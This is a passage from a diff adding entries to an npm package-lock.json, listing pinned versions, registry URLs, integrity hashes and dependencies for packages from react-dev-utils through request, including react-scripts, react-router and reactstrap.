23192+ "cross-spawn": "^7.0.3",
23193+ "detect-port-alt": "^1.1.6",
23194+ "escape-string-regexp": "^4.0.0",
23195+ "filesize": "^8.0.6",
23196+ "find-up": "^5.0.0",
23197+ "fork-ts-checker-webpack-plugin": "^6.5.0",
23198+ "global-modules": "^2.0.0",
23199+ "globby": "^11.0.4",
23200+ "gzip-size": "^6.0.0",
23201+ "immer": "^9.0.7",
23202+ "is-root": "^2.1.0",
23203+ "loader-utils": "^3.2.0",
23204+ "open": "^8.4.0",
23205+ "pkg-up": "^3.1.0",
23206+ "prompts": "^2.4.2",
23207+ "react-error-overlay": "^6.0.11",
23208+ "recursive-readdir": "^2.2.2",
23209+ "shell-quote": "^1.7.3",
23210+ "strip-ansi": "^6.0.1",
23211+ "text-table": "^0.2.0"
23212+ },
23213+ "engines": {
23214+ "node": ">=14"
23215+ }
23216+ },
23217+ "node_modules/react-dev-utils/node_modules/chalk": {
23218+ "version": "4.1.2",
23219+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
23220+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
23221+ "license": "MIT",
23222+ "dependencies": {
23223+ "ansi-styles": "^4.1.0",
23224+ "supports-color": "^7.1.0"
23225+ },
23226+ "engines": {
23227+ "node": ">=10"
23228+ },
23229+ "funding": {
23230+ "url": "https://github.com/chalk/chalk?sponsor=1"
23231+ }
23232+ },
23233+ "node_modules/react-dev-utils/node_modules/find-up": {
23234+ "version": "5.0.0",
23235+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
23236+ "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
23237+ "license": "MIT",
23238+ "dependencies": {
23239+ "locate-path": "^6.0.0",
23240+ "path-exists": "^4.0.0"
23241+ },
23242+ "engines": {
23243+ "node": ">=10"
23244+ },
23245+ "funding": {
23246+ "url": "https://github.com/sponsors/sindresorhus"
23247+ }
23248+ },
23249+ "node_modules/react-dev-utils/node_modules/loader-utils": {
23250+ "version": "3.3.1",
23251+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.3.1.tgz",
23252+ "integrity": "sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg==",
23253+ "license": "MIT",
23254+ "engines": {
23255+ "node": ">= 12.13.0"
23256+ }
23257+ },
23258+ "node_modules/react-dev-utils/node_modules/locate-path": {
23259+ "version": "6.0.0",
23260+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
23261+ "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
23262+ "license": "MIT",
23263+ "dependencies": {
23264+ "p-locate": "^5.0.0"
23265+ },
23266+ "engines": {
23267+ "node": ">=10"
23268+ },
23269+ "funding": {
23270+ "url": "https://github.com/sponsors/sindresorhus"
23271+ }
23272+ },
23273+ "node_modules/react-dev-utils/node_modules/p-limit": {
23274+ "version": "3.1.0",
23275+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
23276+ "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
23277+ "license": "MIT",
23278+ "dependencies": {
23279+ "yocto-queue": "^0.1.0"
23280+ },
23281+ "engines": {
23282+ "node": ">=10"
23283+ },
23284+ "funding": {
23285+ "url": "https://github.com/sponsors/sindresorhus"
23286+ }
23287+ },
23288+ "node_modules/react-dev-utils/node_modules/p-locate": {
23289+ "version": "5.0.0",
23290+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
23291+ "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
23292+ "license": "MIT",
23293+ "dependencies": {
23294+ "p-limit": "^3.0.2"
23295+ },
23296+ "engines": {
23297+ "node": ">=10"
23298+ },
23299+ "funding": {
23300+ "url": "https://github.com/sponsors/sindresorhus"
23301+ }
23302+ },
23303+ "node_modules/react-dom": {
23304+ "version": "18.3.1",
23305+ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz",
23306+ "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==",
23307+ "license": "MIT",
23308+ "dependencies": {
23309+ "loose-envify": "^1.1.0",
23310+ "scheduler": "^0.23.2"
23311+ },
23312+ "peerDependencies": {
23313+ "react": "^18.3.1"
23314+ }
23315+ },
23316+ "node_modules/react-dom/node_modules/scheduler": {
23317+ "version": "0.23.2",
23318+ "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz",
23319+ "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==",
23320+ "license": "MIT",
23321+ "dependencies": {
23322+ "loose-envify": "^1.1.0"
23323+ }
23324+ },
23325+ "node_modules/react-dropzone": {
23326+ "version": "12.1.0",
23327+ "resolved": "https://registry.npmjs.org/react-dropzone/-/react-dropzone-12.1.0.tgz",
23328+ "integrity": "sha512-iBYHA1rbopIvtzokEX4QubO6qk5IF/x3BtKGu74rF2JkQDXnwC4uO/lHKpaw4PJIV6iIAYOlwLv2FpiGyqHNog==",
23329+ "license": "MIT",
23330+ "dependencies": {
23331+ "attr-accept": "^2.2.2",
23332+ "file-selector": "^0.5.0",
23333+ "prop-types": "^15.8.1"
23334+ },
23335+ "engines": {
23336+ "node": ">= 10.13"
23337+ },
23338+ "peerDependencies": {
23339+ "react": ">= 16.8"
23340+ }
23341+ },
23342+ "node_modules/react-error-overlay": {
23343+ "version": "6.1.0",
23344+ "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.1.0.tgz",
23345+ "integrity": "sha512-SN/U6Ytxf1QGkw/9ve5Y+NxBbZM6Ht95tuXNMKs8EJyFa/Vy/+Co3stop3KBHARfn/giv+Lj1uUnTfOJ3moFEQ==",
23346+ "license": "MIT"
23347+ },
23348+ "node_modules/react-fast-compare": {
23349+ "version": "3.2.2",
23350+ "resolved": "https://registry.npmjs.org/react-fast-compare/-/react-fast-compare-3.2.2.tgz",
23351+ "integrity": "sha512-nsO+KSNgo1SbJqJEYRE9ERzo7YtYbou/OqjSQKxV7jcKox7+usiUVZOAC+XnDOABXggQTno0Y1CpVnuWEc1boQ==",
23352+ "license": "MIT"
23353+ },
23354+ "node_modules/react-icons": {
23355+ "version": "5.5.0",
23356+ "resolved": "https://registry.npmjs.org/react-icons/-/react-icons-5.5.0.tgz",
23357+ "integrity": "sha512-MEFcXdkP3dLo8uumGI5xN3lDFNsRtrjbOEKDLD7yv76v4wpnEq2Lt2qeHaQOr34I/wPN3s3+N08WkQ+CW37Xiw==",
23358+ "license": "MIT",
23359+ "peerDependencies": {
23360+ "react": "*"
23361+ }
23362+ },
23363+ "node_modules/react-is": {
23364+ "version": "17.0.2",
23365+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
23366+ "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==",
23367+ "license": "MIT"
23368+ },
23369+ "node_modules/react-popper": {
23370+ "version": "2.3.0",
23371+ "resolved": "https://registry.npmjs.org/react-popper/-/react-popper-2.3.0.tgz",
23372+ "integrity": "sha512-e1hj8lL3uM+sgSR4Lxzn5h1GxBlpa4CQz0XLF8kx4MDrDRWY0Ena4c97PUeSX9i5W3UAfDP0z0FXCTQkoXUl3Q==",
23373+ "license": "MIT",
23374+ "dependencies": {
23375+ "react-fast-compare": "^3.0.1",
23376+ "warning": "^4.0.2"
23377+ },
23378+ "peerDependencies": {
23379+ "@popperjs/core": "^2.0.0",
23380+ "react": "^16.8.0 || ^17 || ^18",
23381+ "react-dom": "^16.8.0 || ^17 || ^18"
23382+ }
23383+ },
23384+ "node_modules/react-reconciler": {
23385+ "version": "0.27.0",
23386+ "resolved": "https://registry.npmjs.org/react-reconciler/-/react-reconciler-0.27.0.tgz",
23387+ "integrity": "sha512-HmMDKciQjYmBRGuuhIaKA1ba/7a+UsM5FzOZsMO2JYHt9Jh8reCb7j1eDC95NOyUlKM9KRyvdx0flBuDvYSBoA==",
23388+ "license": "MIT",
23389+ "dependencies": {
23390+ "loose-envify": "^1.1.0",
23391+ "scheduler": "^0.21.0"
23392+ },
23393+ "engines": {
23394+ "node": ">=0.10.0"
23395+ },
23396+ "peerDependencies": {
23397+ "react": "^18.0.0"
23398+ }
23399+ },
23400+ "node_modules/react-refresh": {
23401+ "version": "0.11.0",
23402+ "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz",
23403+ "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==",
23404+ "license": "MIT",
23405+ "engines": {
23406+ "node": ">=0.10.0"
23407+ }
23408+ },
23409+ "node_modules/react-router": {
23410+ "version": "6.30.2",
23411+ "resolved": "https://registry.npmjs.org/react-router/-/react-router-6.30.2.tgz",
23412+ "integrity": "sha512-H2Bm38Zu1bm8KUE5NVWRMzuIyAV8p/JrOaBJAwVmp37AXG72+CZJlEBw6pdn9i5TBgLMhNDgijS4ZlblpHyWTA==",
23413+ "license": "MIT",
23414+ "dependencies": {
23415+ "@remix-run/router": "1.23.1"
23416+ },
23417+ "engines": {
23418+ "node": ">=14.0.0"
23419+ },
23420+ "peerDependencies": {
23421+ "react": ">=16.8"
23422+ }
23423+ },
23424+ "node_modules/react-router-dom": {
23425+ "version": "6.30.2",
23426+ "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-6.30.2.tgz",
23427+ "integrity": "sha512-l2OwHn3UUnEVUqc6/1VMmR1cvZryZ3j3NzapC2eUXO1dB0sYp5mvwdjiXhpUbRb21eFow3qSxpP8Yv6oAU824Q==",
23428+ "license": "MIT",
23429+ "dependencies": {
23430+ "@remix-run/router": "1.23.1",
23431+ "react-router": "6.30.2"
23432+ },
23433+ "engines": {
23434+ "node": ">=14.0.0"
23435+ },
23436+ "peerDependencies": {
23437+ "react": ">=16.8",
23438+ "react-dom": ">=16.8"
23439+ }
23440+ },
23441+ "node_modules/react-scripts": {
23442+ "version": "5.0.1",
23443+ "resolved": "https://registry.npmjs.org/react-scripts/-/react-scripts-5.0.1.tgz",
23444+ "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==",
23445+ "license": "MIT",
23446+ "dependencies": {
23447+ "@babel/core": "^7.16.0",
23448+ "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3",
23449+ "@svgr/webpack": "^5.5.0",
23450+ "babel-jest": "^27.4.2",
23451+ "babel-loader": "^8.2.3",
23452+ "babel-plugin-named-asset-import": "^0.3.8",
23453+ "babel-preset-react-app": "^10.0.1",
23454+ "bfj": "^7.0.2",
23455+ "browserslist": "^4.18.1",
23456+ "camelcase": "^6.2.1",
23457+ "case-sensitive-paths-webpack-plugin": "^2.4.0",
23458+ "css-loader": "^6.5.1",
23459+ "css-minimizer-webpack-plugin": "^3.2.0",
23460+ "dotenv": "^10.0.0",
23461+ "dotenv-expand": "^5.1.0",
23462+ "eslint": "^8.3.0",
23463+ "eslint-config-react-app": "^7.0.1",
23464+ "eslint-webpack-plugin": "^3.1.1",
23465+ "file-loader": "^6.2.0",
23466+ "fs-extra": "^10.0.0",
23467+ "html-webpack-plugin": "^5.5.0",
23468+ "identity-obj-proxy": "^3.0.0",
23469+ "jest": "^27.4.3",
23470+ "jest-resolve": "^27.4.2",
23471+ "jest-watch-typeahead": "^1.0.0",
23472+ "mini-css-extract-plugin": "^2.4.5",
23473+ "postcss": "^8.4.4",
23474+ "postcss-flexbugs-fixes": "^5.0.2",
23475+ "postcss-loader": "^6.2.1",
23476+ "postcss-normalize": "^10.0.1",
23477+ "postcss-preset-env": "^7.0.1",
23478+ "prompts": "^2.4.2",
23479+ "react-app-polyfill": "^3.0.0",
23480+ "react-dev-utils": "^12.0.1",
23481+ "react-refresh": "^0.11.0",
23482+ "resolve": "^1.20.0",
23483+ "resolve-url-loader": "^4.0.0",
23484+ "sass-loader": "^12.3.0",
23485+ "semver": "^7.3.5",
23486+ "source-map-loader": "^3.0.0",
23487+ "style-loader": "^3.3.1",
23488+ "tailwindcss": "^3.0.2",
23489+ "terser-webpack-plugin": "^5.2.5",
23490+ "webpack": "^5.64.4",
23491+ "webpack-dev-server": "^4.6.0",
23492+ "webpack-manifest-plugin": "^4.0.2",
23493+ "workbox-webpack-plugin": "^6.4.1"
23494+ },
23495+ "bin": {
23496+ "react-scripts": "bin/react-scripts.js"
23497+ },
23498+ "engines": {
23499+ "node": ">=14.0.0"
23500+ },
23501+ "optionalDependencies": {
23502+ "fsevents": "^2.3.2"
23503+ },
23504+ "peerDependencies": {
23505+ "react": ">= 16",
23506+ "typescript": "^3.2.1 || ^4"
23507+ },
23508+ "peerDependenciesMeta": {
23509+ "typescript": {
23510+ "optional": true
23511+ }
23512+ }
23513+ },
23514+ "node_modules/react-scripts/node_modules/dotenv": {
23515+ "version": "10.0.0",
23516+ "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz",
23517+ "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==",
23518+ "license": "BSD-2-Clause",
23519+ "engines": {
23520+ "node": ">=10"
23521+ }
23522+ },
23523+ "node_modules/react-share": {
23524+ "version": "5.2.2",
23525+ "resolved": "https://registry.npmjs.org/react-share/-/react-share-5.2.2.tgz",
23526+ "integrity": "sha512-z0nbOX6X6vHHWAvXduNkYeJUKTKNpKM5Xpmc5a2BxjJhUWl+sE7AsSEMmYEUj2DuDjZr5m7KFIGF0sQPKcUN6w==",
23527+ "license": "MIT",
23528+ "dependencies": {
23529+ "classnames": "^2.3.2",
23530+ "jsonp": "^0.2.1"
23531+ },
23532+ "peerDependencies": {
23533+ "react": "^17 || ^18 || ^19"
23534+ }
23535+ },
23536+ "node_modules/react-transition-group": {
23537+ "version": "4.4.5",
23538+ "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.5.tgz",
23539+ "integrity": "sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==",
23540+ "license": "BSD-3-Clause",
23541+ "dependencies": {
23542+ "@babel/runtime": "^7.5.5",
23543+ "dom-helpers": "^5.0.1",
23544+ "loose-envify": "^1.4.0",
23545+ "prop-types": "^15.6.2"
23546+ },
23547+ "peerDependencies": {
23548+ "react": ">=16.6.0",
23549+ "react-dom": ">=16.6.0"
23550+ }
23551+ },
23552+ "node_modules/react-use-measure": {
23553+ "version": "2.1.7",
23554+ "resolved": "https://registry.npmjs.org/react-use-measure/-/react-use-measure-2.1.7.tgz",
23555+ "integrity": "sha512-KrvcAo13I/60HpwGO5jpW7E9DfusKyLPLvuHlUyP5zqnmAPhNc6qTRjUQrdTADl0lpPpDVU2/Gg51UlOGHXbdg==",
23556+ "license": "MIT",
23557+ "peerDependencies": {
23558+ "react": ">=16.13",
23559+ "react-dom": ">=16.13"
23560+ },
23561+ "peerDependenciesMeta": {
23562+ "react-dom": {
23563+ "optional": true
23564+ }
23565+ }
23566+ },
23567+ "node_modules/reactstrap": {
23568+ "version": "9.2.3",
23569+ "resolved": "https://registry.npmjs.org/reactstrap/-/reactstrap-9.2.3.tgz",
23570+ "integrity": "sha512-1nXy7FIBIoOgXr3AIHOpgzcZXdj6rZE5YvNSPd1hYgwv8X64m6TAJsU0ExlieJdlRXhaRfTYRSZoTWa127b0gw==",
23571+ "license": "MIT",
23572+ "dependencies": {
23573+ "@babel/runtime": "^7.12.5",
23574+ "@popperjs/core": "^2.6.0",
23575+ "classnames": "^2.2.3",
23576+ "prop-types": "^15.5.8",
23577+ "react-popper": "^2.2.4",
23578+ "react-transition-group": "^4.4.2"
23579+ },
23580+ "peerDependencies": {
23581+ "react": ">=16.8.0",
23582+ "react-dom": ">=16.8.0"
23583+ }
23584+ },
23585+ "node_modules/read-cache": {
23586+ "version": "1.0.0",
23587+ "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
23588+ "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
23589+ "license": "MIT",
23590+ "dependencies": {
23591+ "pify": "^2.3.0"
23592+ }
23593+ },
23594+ "node_modules/readable-stream": {
23595+ "version": "2.3.8",
23596+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
23597+ "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
23598+ "license": "MIT",
23599+ "dependencies": {
23600+ "core-util-is": "~1.0.0",
23601+ "inherits": "~2.0.3",
23602+ "isarray": "~1.0.0",
23603+ "process-nextick-args": "~2.0.0",
23604+ "safe-buffer": "~5.1.1",
23605+ "string_decoder": "~1.1.1",
23606+ "util-deprecate": "~1.0.1"
23607+ }
23608+ },
23609+ "node_modules/readable-stream/node_modules/isarray": {
23610+ "version": "1.0.0",
23611+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
23612+ "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
23613+ "license": "MIT"
23614+ },
23615+ "node_modules/readable-stream/node_modules/safe-buffer": {
23616+ "version": "5.1.2",
23617+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
23618+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
23619+ "license": "MIT"
23620+ },
23621+ "node_modules/readdirp": {
23622+ "version": "3.6.0",
23623+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
23624+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
23625+ "license": "MIT",
23626+ "dependencies": {
23627+ "picomatch": "^2.2.1"
23628+ },
23629+ "engines": {
23630+ "node": ">=8.10.0"
23631+ }
23632+ },
23633+ "node_modules/readdirp/node_modules/picomatch": {
23634+ "version": "2.3.1",
23635+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
23636+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
23637+ "license": "MIT",
23638+ "engines": {
23639+ "node": ">=8.6"
23640+ },
23641+ "funding": {
23642+ "url": "https://github.com/sponsors/jonschlinkert"
23643+ }
23644+ },
23645+ "node_modules/recursive-readdir": {
23646+ "version": "2.2.3",
23647+ "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.3.tgz",
23648+ "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==",
23649+ "license": "MIT",
23650+ "dependencies": {
23651+ "minimatch": "^3.0.5"
23652+ },
23653+ "engines": {
23654+ "node": ">=6.0.0"
23655+ }
23656+ },
23657+ "node_modules/redent": {
23658+ "version": "3.0.0",
23659+ "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
23660+ "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
23661+ "license": "MIT",
23662+ "dependencies": {
23663+ "indent-string": "^4.0.0",
23664+ "strip-indent": "^3.0.0"
23665+ },
23666+ "engines": {
23667+ "node": ">=8"
23668+ }
23669+ },
23670+ "node_modules/reflect.getprototypeof": {
23671+ "version": "1.0.10",
23672+ "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz",
23673+ "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==",
23674+ "license": "MIT",
23675+ "dependencies": {
23676+ "call-bind": "^1.0.8",
23677+ "define-properties": "^1.2.1",
23678+ "es-abstract": "^1.23.9",
23679+ "es-errors": "^1.3.0",
23680+ "es-object-atoms": "^1.0.0",
23681+ "get-intrinsic": "^1.2.7",
23682+ "get-proto": "^1.0.1",
23683+ "which-builtin-type": "^1.2.1"
23684+ },
23685+ "engines": {
23686+ "node": ">= 0.4"
23687+ },
23688+ "funding": {
23689+ "url": "https://github.com/sponsors/ljharb"
23690+ }
23691+ },
23692+ "node_modules/regenerate": {
23693+ "version": "1.4.2",
23694+ "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz",
23695+ "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==",
23696+ "license": "MIT"
23697+ },
23698+ "node_modules/regenerate-unicode-properties": {
23699+ "version": "10.2.2",
23700+ "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.2.tgz",
23701+ "integrity": "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g==",
23702+ "license": "MIT",
23703+ "dependencies": {
23704+ "regenerate": "^1.4.2"
23705+ },
23706+ "engines": {
23707+ "node": ">=4"
23708+ }
23709+ },
23710+ "node_modules/regenerator-runtime": {
23711+ "version": "0.13.11",
23712+ "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz",
23713+ "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==",
23714+ "license": "MIT"
23715+ },
23716+ "node_modules/regex-parser": {
23717+ "version": "2.3.1",
23718+ "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.3.1.tgz",
23719+ "integrity": "sha512-yXLRqatcCuKtVHsWrNg0JL3l1zGfdXeEvDa0bdu4tCDQw0RpMDZsqbkyRTUnKMR0tXF627V2oEWjBEaEdqTwtQ==",
23720+ "license": "MIT"
23721+ },
23722+ "node_modules/regexp.prototype.flags": {
23723+ "version": "1.5.4",
23724+ "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz",
23725+ "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==",
23726+ "license": "MIT",
23727+ "dependencies": {
23728+ "call-bind": "^1.0.8",
23729+ "define-properties": "^1.2.1",
23730+ "es-errors": "^1.3.0",
23731+ "get-proto": "^1.0.1",
23732+ "gopd": "^1.2.0",
23733+ "set-function-name": "^2.0.2"
23734+ },
23735+ "engines": {
23736+ "node": ">= 0.4"
23737+ },
23738+ "funding": {
23739+ "url": "https://github.com/sponsors/ljharb"
23740+ }
23741+ },
23742+ "node_modules/regexpu-core": {
23743+ "version": "6.4.0",
23744+ "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-6.4.0.tgz",
23745+ "integrity": "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA==",
23746+ "license": "MIT",
23747+ "dependencies": {
23748+ "regenerate": "^1.4.2",
23749+ "regenerate-unicode-properties": "^10.2.2",
23750+ "regjsgen": "^0.8.0",
23751+ "regjsparser": "^0.13.0",
23752+ "unicode-match-property-ecmascript": "^2.0.0",
23753+ "unicode-match-property-value-ecmascript": "^2.2.1"
23754+ },
23755+ "engines": {
23756+ "node": ">=4"
23757+ }
23758+ },
23759+ "node_modules/regjsgen": {
23760+ "version": "0.8.0",
23761+ "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.8.0.tgz",
23762+ "integrity": "sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==",
23763+ "license": "MIT"
23764+ },
23765+ "node_modules/regjsparser": {
23766+ "version": "0.13.0",
23767+ "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.13.0.tgz",
23768+ "integrity": "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q==",
23769+ "license": "BSD-2-Clause",
23770+ "dependencies": {
23771+ "jsesc": "~3.1.0"
23772+ },
23773+ "bin": {
23774+ "regjsparser": "bin/parser"
23775+ }
23776+ },
23777+ "node_modules/relateurl": {
23778+ "version": "0.2.7",
23779+ "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz",
23780+ "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==",
23781+ "license": "MIT",
23782+ "engines": {
23783+ "node": ">= 0.10"
23784+ }
23785+ },
23786+ "node_modules/renderkid": {
23787+ "version": "3.0.0",
23788+ "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz",
23789+ "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==",
23790+ "license": "MIT",
23791+ "dependencies": {
23792+ "css-select": "^4.1.3",
23793+ "dom-converter": "^0.2.0",
23794+ "htmlparser2": "^6.1.0",
23795+ "lodash": "^4.17.21",
23796+ "strip-ansi": "^6.0.1"
23797+ }
23798+ },
23799+ "node_modules/request": {
23800+ "version": "2.88.2",
23801+ "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz",
23802+ "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==",
23803+ "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142",
23804+ "license": "Apache-2.0",
23805+ "dependencies": {
23806+ "aws-sign2": "~0.7.0",
23807+ "aws4": "^1.8.0",
23808+ "caseless": "~0.12.0",
23809+ "combined-stream": "~1.0.6",
23810+ "extend": "~3.0.2",
23811+ "forever-agent": "~0.6.1",
23812+ "form-data": "~2.3.2",
23813+ "har-validator": "~5.1.3",
23814+ "http-signature": "~1.2.0",
23815+ "is-typedarray": "~1.0.0",
23816+ "isstream": "~0.1.2",
23817+ "json-stringify-safe": "~5.0.1",
23818+ "mime-types": "~2.1.19",
23819+ "oauth-sign": "~0.9.0",
23820+ "performance-now": "^2.1.0",
23821+ "qs": "~6.5.2",
23822+ "safe-buffer": "^5.1.2",
23823+ "tough-cookie": "~2.5.0",
23824+ "tunnel-agent": "^0.6.0",
23825+ "uuid": "^3.3.2"
23826+ },
23827+ "engines": {
23828+ "node": ">= 6"
23829+ }
23830+ },
23831+ "node_modules/request/node_modules/form-data": {
23832+ "version": "2.3.3",
23833+ "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz",
23834+ "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==",
23835+ "license": "MIT",
23836+ "dependencies": {
23837+ "asynckit": "^0.4.0",
23838+ "combined-stream": "^1.0.6",
23839+ "mime-types": "^2.1.12"
23840+ },
23841+ "engines": {
23842+ "node": ">= 0.12"
23843+ }
23844+ },
23845+ "node_modules/request/node_modules/qs": {
23846+ "version": "6.5.3",
23847+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz",
